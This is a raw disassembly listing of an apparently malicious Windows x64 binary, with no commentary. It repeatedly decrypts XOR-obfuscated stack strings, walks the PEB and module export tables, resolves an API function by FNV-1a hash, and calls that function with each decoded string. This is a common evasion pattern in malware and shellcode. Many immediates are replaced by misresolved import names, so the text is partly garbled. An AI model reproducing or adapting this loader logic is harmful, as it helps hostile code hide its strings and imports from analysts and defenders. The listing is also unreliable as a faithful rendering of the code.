mov byte [rbp + 0x1cc], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x1cd], 0xb1
mov byte [rbp + 0x1ce], 0x90
mov byte [rbp + 0x1cf], 0x98
mov byte [rbp + 0x1d0], 0x98
mov byte [rbp + 0x1d1], __WSAFDIsSet
mov byte [rbp + 0x1d2], 0x99
mov byte [rbp + 0x1d3], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x1d4], 0xb3
mov byte [rbp + 0x1d5], __WSAFDIsSet
mov byte [rbp + 0x1d6], Ordinal_211
mov byte [rbp + 0x1d7], Ordinal_211
mov byte [rbp + 0x1d8], 0x84
mov byte [rbp + 0x1d9], 0xdd
mov byte [rbp + 0x1da], 0x5b
mov byte [rbp + 0x1db], 0x46
mov byte [rbp + 0x1dc], Ordinal_79
mov byte [rbp + 0x1dd], 0x53
mov byte [rbp + 0x1de], 0x52
mov byte [rbp + 0x1df], 0x51
mov byte [rbp + 0x1e0], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x1e1], Ordinal_41
mov byte [rbp + 0x1e2], 0x63
mov byte [rbp + 0x1e3], Ordinal_35
mov byte [rbp + 0x1e4], Ordinal_50
mov byte [rbp + 0x1e5], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x1e6], 0x61
mov byte [rbp + 0x1e7], 0x61
mov byte [rbp + 0x1e8], 0x64
movabs r11, 0xe5fb292e2ca0bfc6
mov byte [rbp + 0x1e9], 0x62
mov r10, r11
mov byte [rbp + 0x1ea], reloc.WS2_32.dll_WSACleanup
mov r9, rsi
mov byte [rbp + 0x1eb], Ordinal_60
mov byte [rbp + 0x1ec], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x1ed], WSACleanup
mov byte [rbp + 0x1ee], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x1ef], 0x75
mov byte [rbp + 0x1f0], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x1f1], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x1f2], 0x7a
mov byte [rbp + 0x1f3], Ordinal_60
mov byte [rbp + 0x1f4], Ordinal_60
mov byte [rbp + 0x1f5], gethostname
mov byte [rbp + 0x1f6], 0x62
mov byte [rbp + 0x1f7], 0x7e
mov byte [rbp + 0x1f8], 0x7e
mov byte [rbp + 0x1f9], 0x79
mov byte [rbp + 0x1fa], 0x46
mov byte [rbp + 0x1fb], Ordinal_79
mov byte [rbp + 0x1fc], ntohl
mov byte [rbp + 0x1fd], 1
mov byte [rbp + 0x1fe], 4
mov byte [rbp + 0x1ff], 0x59
mov byte [rbp + 0x200], 0x41
mov byte [rbp + 0x201], 0x45
mov byte [rbp + 0x202], 0x43
mov byte [rbp + 0x203], Ordinal_79
mov byte [rbp + 0x204], 0x47
mov byte [rbp + 0x205], 4
mov byte [rbp + 0x206], reloc.WS2_32.dll_listen
mov byte [rbp + 0x207], 0xa
mov byte [rbp + 0x208], 0x52
mov byte [rbp + 0x209], Ordinal_79
mov byte [rbp + 0x20a], 0x57
mov byte [rbp + 0x20b], 0x57
mov byte [rbp + 0x20c], 0x56
mov byte [rbp + 0x20d], 0x51
mov byte [rbp + 0x20e], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x20f], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0x210], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x211], Ordinal_79
mov byte [rbp + 0x212], 0x56
mov byte [rbp + 0x213], 0x5c
mov byte [rbp + 0x214], 0x5e
mov byte [rbp + 0x215], 0x5e
mov byte [rbp + 0x216], 0x5d
mov byte [rbp + 0x217], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x218], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x219], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x21a], Ordinal_45
mov byte [rbp + 0x21b], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x21c], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x21d], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x21e], Ordinal_45
mov byte [rbp + 0x21f], WSACleanup
mov byte [rbp + 0x220], 0x60
mov byte [rbp + 0x221], 0x64
mov byte [rbp + 0x222], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x223], 0x62
mov byte [rbp + 0x224], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x225], Ordinal_50
mov byte [rbp + 0x226], gethostname
mov byte [rbp + 0x227], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x228], 0x60
mov byte [rbp + 0x229], 0x7f
mov byte [rbp + 0x22a], 0x67
mov byte [rbp + 0x22b], 0x75
mov byte [rbp + 0x22c], 0x68
mov byte [rbp + 0x22d], 0x5c
movzx eax, byte [rbp + 0x1a0]
lea rax, [rbp + 0x1a0]
sub r10, rax
nop
mov rcx, r9
lea rdx, [rbp + 0x1a0]
add rdx, r9
and ecx, r12d
cmp rcx, r12
mov rax, r11
cmovae rcx, r12
movsx r8, byte [rdx]
add dl, r10b
shl cl, 2
shr rax, cl
and al, r12b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x1a0], al
inc r9
cmp r9, 0x8e
jb 0x140045130
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140045207
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140045207
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140045202
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1400451e0
cmp r8d, 0x491e0a9c
je 0x14004520c
test r9d, r9d
jne 0x1400451c0
mov rax, qword [rax]
jmp 0x140045190
mov eax, dword [rbx + 0x24]
mov ecx, dword [rbx + 0x1c]
add rax, r10
add rcx, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
lea rcx, [rbp + 0x1a0]
add rdx, r10
call rdx
mov byte [rbp + 0x5dc], Ordinal_211
mov byte [rbp + 0x5dd], Ordinal_211
mov byte [rbp + 0x5de], Ordinal_200
mov byte [rbp + 0x5df], Ordinal_143
mov byte [rbp + 0x5e0], Ordinal_200
mov byte [rbp + 0x5e1], Ordinal_200
mov byte [rbp + 0x5e2], Ordinal_200
mov byte [rbp + 0x5e3], Ordinal_143
mov byte [rbp + 0x5e4], 0xe0
mov byte [rbp + 0x5e5], 0xe3
mov byte [rbp + 0x5e6], 0xe1
mov byte [rbp + 0x5e7], 0xec
mov byte [rbp + 0x5e8], 0xf6
mov byte [rbp + 0x5e9], 0xfc
mov byte [rbp + 0x5ea], 0xed
mov byte [rbp + 0x5eb], 0xee
mov byte [rbp + 0x5ec], 0xe4
mov byte [rbp + 0x5ed], 0xec
mov byte [rbp + 0x5ee], 0xf0
mov byte [rbp + 0x5ef], 0xeb
mov byte [rbp + 0x5f0], 0xf3
mov byte [rbp + 0x5f1], 0xed
mov byte [rbp + 0x5f2], 0xfa
mov byte [rbp + 0x5f3], Ordinal_217
mov byte [rbp + 0x5f4], 0xdb
mov byte [rbp + 0x5f5], 0xca
mov byte [rbp + 0x5f6], Ordinal_211
mov byte [rbp + 0x5f7], Ordinal_200
mov byte [rbp + 0x5f8], Ordinal_217
mov byte [rbp + 0x5f9], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x5fa], Ordinal_200
mov byte [rbp + 0x5fb], 0xe4
mov byte [rbp + 0x5fc], __WSAFDIsSet
mov byte [rbp + 0x5fd], 0x9a
mov byte [rbp + 0x5fe], Ordinal_143
mov byte [rbp + 0x5ff], Ordinal_143
mov byte [rbp + 0x600], 0xaa
mov byte [rbp + 0x601], 0xa8
mov byte [rbp + 0x602], 0xa2
mov byte [rbp + 0x603], 0xa3
mov byte [rbp + 0x604], 0xbc
mov byte [rbp + 0x605], 0xe8
mov byte [rbp + 0x606], 0xe2
mov byte [rbp + 0x607], 0xb7
mov byte [rbp + 0x608], 0xea
mov byte [rbp + 0x609], 0x98
mov byte [rbp + 0x60a], 0xab
mov byte [rbp + 0x60b], 0xa6
mov byte [rbp + 0x60c], 0x83
mov byte [rbp + 0x60d], 0xaa
mov byte [rbp + 0x60e], 0xbc
mov byte [rbp + 0x60f], 0x9f
mov byte [rbp + 0x610], 0xbf
mov byte [rbp + 0x611], 0xa3
mov byte [rbp + 0x612], 0xa4
mov byte [rbp + 0x613], 0xa9
mov byte [rbp + 0x614], Ordinal_143
mov byte [rbp + 0x615], 0xbd
mov byte [rbp + 0x616], 0xae
mov byte [rbp + 0x617], 0xa2
mov byte [rbp + 0x618], 0xb3
mov byte [rbp + 0x619], 0xb0
mov byte [rbp + 0x61a], 0xbc
mov byte [rbp + 0x61b], Ordinal_143
mov byte [rbp + 0x61c], __WSAFDIsSet
mov byte [rbp + 0x61d], Ordinal_143
mov byte [rbp + 0x61e], __WSAFDIsSet
mov byte [rbp + 0x61f], 0x9d
mov byte [rbp + 0x620], 0xb2
mov byte [rbp + 0x621], 0x88
mov byte [rbp + 0x622], Ordinal_143
mov byte [rbp + 0x623], 0x88
mov byte [rbp + 0x624], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x625], Ordinal_200
mov byte [rbp + 0x626], 0x99
mov byte [rbp + 0x627], 0xc1
mov byte [rbp + 0x628], 0xb8
mov byte [rbp + 0x629], 0xaa
mov byte [rbp + 0x62a], 0xa5
mov byte [rbp + 0x62b], 0xb7
mov byte [rbp + 0x62c], 0xa1
mov byte [rbp + 0x62d], 0xac
mov byte [rbp + 0x62e], 0xbe
mov byte [rbp + 0x62f], 0xab
mov byte [rbp + 0x630], 0xb2
mov byte [rbp + 0x631], Ordinal_211
mov byte [rbp + 0x632], Ordinal_217
mov byte [rbp + 0x633], 0x99
mov byte [rbp + 0x634], Ordinal_217
mov byte [rbp + 0x635], 0xdd
mov byte [rbp + 0x636], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x637], 0x90
mov byte [rbp + 0x638], __WSAFDIsSet
mov byte [rbp + 0x639], 0x9b
mov byte [rbp + 0x63a], 0x9d
mov byte [rbp + 0x63b], __WSAFDIsSet
mov byte [rbp + 0x63c], Ordinal_41
mov byte [rbp + 0x63d], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x63e], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x63f], 0x68
mov byte [rbp + 0x640], 0x68
mov byte [rbp + 0x641], 0x65
mov byte [rbp + 0x642], 0x68
mov byte [rbp + 0x643], 0x60
mov byte [rbp + 0x644], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x645], Ordinal_41
mov byte [rbp + 0x646], Ordinal_45
mov byte [rbp + 0x647], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x648], WSASetLastError
mov byte [rbp + 0x649], 0x61
mov byte [rbp + 0x64a], 0x66
mov byte [rbp + 0x64b], 0x67
mov byte [rbp + 0x64c], 0x7d
mov byte [rbp + 0x64d], 0x3e
mov byte [rbp + 0x64e], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x64f], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x650], 0x64
mov byte [rbp + 0x651], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x652], 0x79
mov byte [rbp + 0x653], 0x79
mov byte [rbp + 0x654], 0x77
mov byte [rbp + 0x655], 0x75
mov byte [rbp + 0x656], Ordinal_60
mov byte [rbp + 0x657], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x658], 0x3f
mov byte [rbp + 0x659], WSASetLastError
mov byte [rbp + 0x65a], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x65b], 0x76
mov byte [rbp + 0x65c], 0x44
mov byte [rbp + 0x65d], 0x44
mov byte [rbp + 0x65e], Ordinal_79
mov byte [rbp + 0x65f], ntohl
mov byte [rbp + 0x660], ntohl
mov byte [rbp + 0x661], 4
mov byte [rbp + 0x662], 0x55
mov byte [rbp + 0x663], Ordinal_79
mov byte [rbp + 0x664], 0x46
mov byte [rbp + 0x665], Ordinal_79
mov byte [rbp + 0x666], 0x42
mov byte [rbp + 0x667], Ordinal_79
mov byte [rbp + 0x668], r12b
mov byte [rbp + 0x669], 0xa
mov byte [rbp + 0x66a], 0x50
mov byte [rbp + 0x66b], Ordinal_79
mov byte [rbp + 0x66c], 0x5e
mov byte [rbp + 0x66d], 0x5f
mov byte [rbp + 0x66e], 0x5e
mov byte [rbp + 0x66f], 0x54
mov byte [rbp + 0x670], reloc.WS2_32.dll_send
mov byte [rbp + 0x671], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x672], Ordinal_26
mov byte [rbp + 0x673], 0x5b
mov byte [rbp + 0x674], Ordinal_26
mov byte [rbp + 0x675], 6
movabs r11, 0x7c26a710a142a3a0
mov byte [rbp + 0x676], 0x53
mov r10, r11
mov byte [rbp + 0x677], 0x44
mov r9, rsi
mov byte [rbp + 0x678], 0x56
mov byte [rbp + 0x679], Ordinal_32
mov byte [rbp + 0x67a], sil
mov byte [rbp + 0x67b], 6
mov byte [rbp + 0x67c], 0x66
mov byte [rbp + 0x67d], 0x7a
mov byte [rbp + 0x67e], 0x41
movzx eax, byte [rbp + 0x5dc]
lea rax, [rbp + 0x5dc]
sub r10, rax
nop dword [rax]
nop word [rax + rax]
mov rcx, r9
lea rdx, [rbp + 0x5dc]
add rdx, r9
and ecx, r12d
cmp rcx, r12
mov rax, r11
cmovae rcx, r12
movsx r8, byte [rdx]
add dl, r10b
shl cl, 2
shr rax, cl
and al, r12b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x5dc], al
inc r9
cmp r9, 0xa3
jb 0x1400456d0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1400457a7
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1400457a7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400457a2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140045780
cmp r8d, 0x491e0a9c
je 0x1400457ac
test r9d, r9d
jne 0x140045760
mov rax, qword [rax]
jmp 0x140045730
mov eax, dword [rbx + 0x24]
mov ecx, dword [rbx + 0x1c]
add rax, r10
add rcx, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
lea rcx, [rbp + 0x5dc]
add rdx, r10
call rdx
mov byte [rbp + 0x22e], reloc.WS2_32.dll_select
mov byte [rbp + 0x22f], 2
mov byte [rbp + 0x230], 2
mov byte [rbp + 0x231], 0x41
mov byte [rbp + 0x232], 3
mov byte [rbp + 0x233], sil
mov byte [rbp + 0x234], r12b
mov byte [rbp + 0x235], 0x41
mov byte [rbp + 0x236], Ordinal_41
mov byte [rbp + 0x237], Ordinal_45
mov byte [rbp + 0x238], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x239], Ordinal_41
mov byte [rbp + 0x23a], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x23b], 0x3f
mov byte [rbp + 0x23c], Ordinal_45
mov byte [rbp + reloc.WLDAP32.dll_Ordinal_35d], 0x23
mov byte [rbp + 0x23e], Ordinal_41
mov byte [rbp + 0x23f], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x240], gethostname
mov byte [rbp + 0x241], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x242], Ordinal_60
mov byte [rbp + 0x243], Ordinal_45
mov byte [rbp + 0x244], Ordinal_60
mov byte [rbp + 0x245], Ordinal_26
mov byte [rbp + 0x246], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x247], reloc.WS2_32.dll_ntohl
mov byte [rbp + 0x248], Ordinal_32
mov byte [rbp + 0x249], ntohl
mov byte [rbp + 0x24a], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x24b], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x24c], 1
mov byte [rbp + 0x24d], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x24e], Ordinal_200
mov byte [rbp + 0x24f], 0xf5
mov byte [rbp + 0x250], 0xfc
mov byte [rbp + 0x251], 0xf1
mov byte [rbp + 0x252], 0xf6
mov byte [rbp + 0x253], 0xeb
mov byte [rbp + 0x254], 0xec
mov byte [rbp + 0x255], 0xf3
mov byte [rbp + 0x256], 0xec
mov byte [rbp + 0x257], 0xfc
mov byte [rbp + 0x258], 0xea
mov byte [rbp + 0x259], 0xf1
mov byte [rbp + 0x25a], 0xa5
mov byte [rbp + 0x25b], 0xa3
mov byte [rbp + 0x25c], 0xf3
mov byte [rbp + 0x25d], 0xa5
mov byte [rbp + 0x25e], 0xdd
mov byte [rbp + 0x25f], 0xf6
mov byte [rbp + 0x260], 0xf6
mov byte [rbp + 0x261], 0xf9
mov byte [rbp + 0x262], 0xfb
mov byte [rbp + 0x263], 0xfa
mov byte [rbp + 0x264], 0xfe
mov byte [rbp + 0x265], Ordinal_217
mov byte [rbp + 0x266], 0xe8
mov byte [rbp + 0x267], 0xf5
mov byte [rbp + 0x268], 0xf6
mov byte [rbp + 0x269], 0xb8
mov byte [rbp + 0x26a], 0xba
mov byte [rbp + 0x26b], 0xe8
mov byte [rbp + 0x26c], 0xb5
mov byte [rbp + 0x26d], Ordinal_200
mov byte [rbp + 0x26e], 0xe5
mov byte [rbp + 0x26f], 0xe0
mov byte [rbp + 0x270], 0xfa
mov byte [rbp + 0x271], 0xf2
mov byte [rbp + 0x272], 0xf8
mov byte [rbp + 0x273], 0x84
mov byte [rbp + 0x274], 0x84
mov byte [rbp + 0x275], Ordinal_200
mov byte [rbp + 0x276], Ordinal_143
movabs r11, 0xab1938556d162760
mov byte [rbp + 0x277], Ordinal_143
mov r10, r11
mov byte [rbp + 0x278], Ordinal_211
mov r9, rsi
mov byte [rbp + 0x279], 0xc9
mov byte [rbp + 0x27a], 0xcb
mov byte [rbp + 0x27b], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x27c], 0xca
mov byte [rbp + 0x27d], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x27e], __WSAFDIsSet
mov byte [rbp + 0x27f], __WSAFDIsSet
mov byte [rbp + 0x280], Ordinal_200
mov byte [rbp + 0x281], Ordinal_211
mov byte [rbp + 0x282], 0xdc
mov byte [rbp + 0x283], Ordinal_211
mov byte [rbp + 0x284], Ordinal_217
mov byte [rbp + 0x285], 0xdc
mov byte [rbp + 0x286], 0x98
mov byte [rbp + 0x287], __WSAFDIsSet
mov byte [rbp + 0x288], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x289], 0xca
mov byte [rbp + 0x28a], Ordinal_217
mov byte [rbp + 0x28b], Ordinal_211
mov byte [rbp + 0x28c], Ordinal_211
mov byte [rbp + 0x28d], 0xda
mov byte [rbp + 0x28e], 0xad
mov byte [rbp + 0x28f], 0xe2
mov byte [rbp + 0x290], 0xe8
mov byte [rbp + 0x291], 0xe4
mov byte [rbp + 0x292], 0xb0
mov byte [rbp + 0x293], 0xa5
mov byte [rbp + 0x294], 0xa5
mov byte [rbp + 0x295], 0xa5
mov byte [rbp + 0x296], 0xa2
mov byte [rbp + 0x297], 0xa1
mov byte [rbp + 0x298], 0xe7
mov byte [rbp + 0x299], 0xe5
mov byte [rbp + 0x29a], 0xe0
mov byte [rbp + 0x29b], 0xbe
mov byte [rbp + 0x29c], 0xa4
mov byte [rbp + 0x29d], 0xab
mov byte [rbp + 0x29e], 0xb4
mov byte [rbp + 0x29f], 0xb8
mov byte [rbp + 0x2a0], 0xb8
mov byte [rbp + 0x2a1], 0xf4
mov byte [rbp + 0x2a2], 0xff
mov byte [rbp + 0x2a3], 0xf1
mov byte [rbp + 0x2a4], 0xa9
mov byte [rbp + 0x2a5], 0xb0
mov byte [rbp + 0x2a6], 0xb3
mov byte [rbp + 0x2a7], 0xb8
mov byte [rbp + 0x2a8], 0xbd
mov byte [rbp + 0x2a9], 0xb5
mov byte [rbp + 0x2aa], 0xf0
mov byte [rbp + 0x2ab], 0xf9
mov byte [rbp + 0x2ac], 0xa7
mov byte [rbp + 0x2ad], 0xb4
mov byte [rbp + 0x2ae], Ordinal_143
mov byte [rbp + 0x2af], 0x83
mov byte [rbp + 0x2b0], Ordinal_143
mov byte [rbp + 0x2b1], Ordinal_143
mov byte [rbp + 0x2b2], Ordinal_200
mov byte [rbp + 0x2b3], Ordinal_200
mov byte [rbp + 0x2b4], Ordinal_200
mov byte [rbp + 0x2b5], 0x87
mov byte [rbp + 0x2b6], Ordinal_211
mov byte [rbp + 0x2b7], Ordinal_211
mov byte [rbp + 0x2b8], Ordinal_143
mov byte [rbp + 0x2b9], 0x9d
mov byte [rbp + 0x2ba], Ordinal_143
mov byte [rbp + 0x2bb], 0xcc
mov byte [rbp + 0x2bc], Ordinal_217
mov byte [rbp + 0x2bd], 0xdb
mov byte [rbp + 0x2be], Ordinal_217
mov byte [rbp + 0x2bf], Ordinal_200
mov byte [rbp + 0x2c0], 0xf5
movzx eax, byte [rbp + 0x22e]
lea rax, [rbp + 0x22e]
sub r10, rax
nop dword [rax]
nop word [rax + rax]
mov rcx, r9
lea rdx, [rbp + 0x22e]
add rdx, r9
and ecx, r12d
cmp rcx, r12
mov rax, r11
cmovae rcx, r12
movsx r8, byte [rdx]
add dl, r10b
shl cl, 2
shr rax, cl
and al, r12b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x22e], al
inc r9
cmp r9, 0x93
jb 0x140045c00
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140045cd7
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140045cd7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140045cd2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140045cb0
cmp r8d, 0x491e0a9c
je 0x140045cdc
test r9d, r9d
jne 0x140045c90
mov rax, qword [rax]
jmp 0x140045c60
mov eax, dword [rbx + 0x24]
mov ecx, dword [rbx + 0x1c]
add rax, r10
add rcx, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
lea rcx, [rbp + 0x22e]
add rdx, r10
call rdx
mov byte [rbp + 0x114], 0xb2
mov byte [rbp + 0x115], 0xae
mov byte [rbp + 0x116], 0xa9
mov byte [rbp + 0x117], 0xe3
mov byte [rbp + 0x118], 0xa6
mov byte [rbp + 0x119], 0xa6
mov byte [rbp + 0x11a], 0xa8
mov byte [rbp + 0x11b], 0xe4
mov byte [rbp + 0x11c], 0x82
mov byte [rbp + 0x11d], 0x87
mov byte [rbp + 0x11e], 0x9e
mov byte [rbp + 0x11f], __WSAFDIsSet
mov byte [rbp + 0x120], Ordinal_143
mov byte [rbp + 0x121], 0x82
mov byte [rbp + 0x122], 0x90
mov byte [rbp + 0x123], __WSAFDIsSet
mov byte [rbp + 0x124], 0x84
mov byte [rbp + 0x125], Ordinal_143
mov byte [rbp + 0x126], 0x9f
mov byte [rbp + 0x127], 0x81
mov byte [rbp + 0x128], __WSAFDIsSet
mov byte [rbp + 0x129], Ordinal_143
mov byte [rbp + 0x12a], __WSAFDIsSet
mov byte [rbp + 0x12b], 0xbd
mov byte [rbp + 0x12c], 0xb9
mov byte [rbp + reloc.WLDAP32.dll_Ordinal_301], 0xae
mov byte [rbp + 0x12e], Ordinal_143
mov byte [rbp + 0x12f], 0x9c
mov byte [rbp + 0x130], Ordinal_143
mov byte [rbp + 0x131], 0x87
mov byte [rbp + 0x132], 0x9b
mov byte [rbp + 0x133], 0xbc
mov byte [rbp + 0x134], 0xa3
mov byte [rbp + 0x135], 0x99
mov byte [rbp + 0x136], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x137], __WSAFDIsSet
mov byte [rbp + 0x138], __WSAFDIsSet
mov byte [rbp + 0x139], Ordinal_143
mov byte [rbp + 0x13a], Ordinal_143
mov byte [rbp + 0x13b], __WSAFDIsSet
mov byte [rbp + 0x13c], Ordinal_143
mov byte [rbp + 0x13d], 0x9c
mov byte [rbp + 0x13e], 0x9a
mov byte [rbp + 0x13f], 0x86
mov byte [rbp + 0x140], Ordinal_217
mov byte [rbp + 0x141], 0xde
mov byte [rbp + 0x142], Ordinal_143
mov byte [rbp + 0x143], Ordinal_211
mov byte [rbp + 0x144], 0xb7
mov byte [rbp + 0x145], 0xae
mov byte [rbp + 0x146], 0xb7
mov byte [rbp + 0x147], 0xb7
mov byte [rbp + 0x148], Ordinal_217
mov byte [rbp + 0x149], 0xdd
mov byte [rbp + 0x14a], 0x88
mov byte [rbp + 0x14b], Ordinal_217
mov byte [rbp + 0x14c], 0xa8
mov byte [rbp + 0x14d], 0xb9
mov byte [rbp + 0x14e], 0x45
mov byte [rbp + 0x14f], 0x50
mov byte [rbp + 0x150], 0x56
mov byte [rbp + 0x151], 0x5b
mov byte [rbp + 0x152], Ordinal_50
mov byte [rbp + 0x153], Ordinal_50
mov byte [rbp + 0x154], 0x64
mov byte [rbp + 0x155], Ordinal_45
mov byte [rbp + 0x156], Ordinal_45
mov byte [rbp + 0x157], WSACleanup
mov byte [rbp + 0x158], 0x66
mov byte [rbp + 0x159], WSASetLastError
mov byte [rbp + 0x15a], 0x68
mov byte [rbp + 0x15b], WSASetLastError
mov byte [rbp + 0x15c], 0x67
movabs r11, 0x5b27e234909da6c6
mov byte [rbp + 0x15d], reloc.WLDAP32.dll_Ordinal_41
mov r10, r11
mov byte [rbp + 0x15e], Ordinal_60
mov r9, rsi
mov byte [rbp + 0x15f], WSASetLastError
mov byte [rbp + 0x160], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x161], 0x7f
mov byte [rbp + 0x162], 0x7b
mov byte [rbp + 0x163], 0x7f
mov byte [rbp + 0x164], 0x7d
mov byte [rbp + 0x165], 0x3e
mov byte [rbp + 0x166], gethostname
mov byte [rbp + 0x167], Ordinal_60
mov byte [rbp + 0x168], 0x65
mov byte [rbp + 0x169], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x16a], WSACleanup
mov byte [rbp + 0x16b], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x16c], 0x75
mov byte [rbp + 0x16d], WSACleanup
mov byte [rbp + 0x16e], 7
mov byte [rbp + 0x16f], 2
mov byte [rbp + 0x170], sil
mov byte [rbp + 0x171], 0x53
mov byte [rbp + 0x172], Ordinal_79
mov byte [rbp + 0x173], Ordinal_79
mov byte [rbp + 0x174], 0x44
mov byte [rbp + 0x175], 0x44
mov byte [rbp + 0x176], 0x43
mov byte [rbp + 0x177], 6
mov byte [rbp + 0x178], 0xa
mov byte [rbp + 0x179], 7
mov byte [rbp + 0x17a], 0x5e
mov byte [rbp + 0x17b], 0x45
mov byte [rbp + 0x17c], 0x44
mov byte [rbp + 0x17d], 0x48
mov byte [rbp + 0x17e], 0x5d
mov byte [rbp + 0x17f], 0x52
mov byte [rbp + 0x180], reloc.WS2_32.dll_recv
mov byte [rbp + 0x181], Ordinal_32
mov byte [rbp + 0x182], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x183], 0x42
mov byte [rbp + 0x184], 0x51
mov byte [rbp + 0x185], 0x55
mov byte [rbp + 0x186], 0x5a
mov byte [rbp + 0x187], 0x5c
mov byte [rbp + 0x188], 0x5a
mov byte [rbp + 0x189], reloc.WS2_32.dll_socket
mov byte [rbp + 0x18a], Ordinal_26
mov byte [rbp + 0x18b], 0x46
mov byte [rbp + 0x18c], 0x5b
mov byte [rbp + 0x18d], 0x52
mov byte [rbp + 0x18e], Ordinal_41
mov byte [rbp + 0x18f], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x190], Ordinal_45
mov byte [rbp + 0x191], 0x64
mov byte [rbp + 0x192], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x193], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x194], Ordinal_41
mov byte [rbp + 0x195], WSASetLastError
mov byte [rbp + 0x196], reloc.WS2_32.dll_WSASetLastError
